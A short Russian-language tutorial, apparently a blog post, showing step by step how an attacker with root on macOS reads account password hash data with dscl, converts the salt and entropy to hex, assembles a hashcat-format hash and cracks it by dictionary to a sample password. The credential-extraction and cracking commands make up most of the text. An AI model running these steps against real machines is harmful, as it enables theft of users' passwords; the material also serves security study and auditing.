Захват и взлом хешей MacOs
На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.
Локальная служба каталогов
Хэши учетный записей MacOS хранятся в локальной службе каталогов. В новых версиях SIP (защита целостности системы) не позволяет root получить прямой доступ к файлам.
Для обхода этой защиты используется dscl Directory Service command line utility (Утилита командной строки службы каталогов). В качестве root пользователя можно прочитать информацию других учетных записей.
Получение хешей
Чтобы получить только хэш, можно выполнить команду:
Но это мало что даст, поэтому необходимо преобразовать голые данные в нормальный вид специальной командой:
sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f' | xxd -p -r | plutil -convert xml1 - -o -
Теперь следующая цель это преобразование данных в шестнадцатеричное представление.
echo tjgLeEszPoypyM/YVQfV2QGoY3R45itDmPS0SEbWuuE= | base64 -D | xxd -p | tr -d \\n > salt.txt
Для entropy нужно сделать практически тоже самое, но после декодирования base64, нужны будут только первые 64 байта или 512 бит.
echo "lKbKQTnIToq9HehWtapdqfvWn+UPSuIozxRJdH/E/88O6qkQEMc1bLCDEUf/O8LiuLVzAoM1rJAiXEbKdgU2+GhFNvWmO3kyCSjJwUkDi9pbp04Cky5KHxrM3+uLHYFwXSq5tpxsUbTptQ4VCpOzifwf9XKq8yKvR+mDG7WoFXs=" | base64 -d | head -c 64 | xxd -p | tr -d \\n > entropy.txt
Использование Hashcat для подбора пароля
Для удобства можно создать текстовый файл hashcat, для этого нужно объединить найденные хэш данные в одну строку.
$ml$147058$b6380b784b333e8ca9c8cfd85507d5d901a8637478e62b4398f4b44846d6bae1$94a6ca4139c84e8abd1de856b5aa5da9fbd69fe50f4ae228cf1449747fc4ffcf0eeaa91010c7356cb0831147ff3bc2e2b8b573028335ac90225c46ca760536f8
Сохраните эту строку в файл с именем hash.txt и используйте его в hashcat. Теперь можно пройтись по хэшу словарем:
Пароль успешно подобран! Результатом будет подобранный пароль pass123.
Полезные ссылки
https://github.com/octomagon/davegrohl
При подготовки этой статьи использовались следующие ресурсы:
https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/
https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863
https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2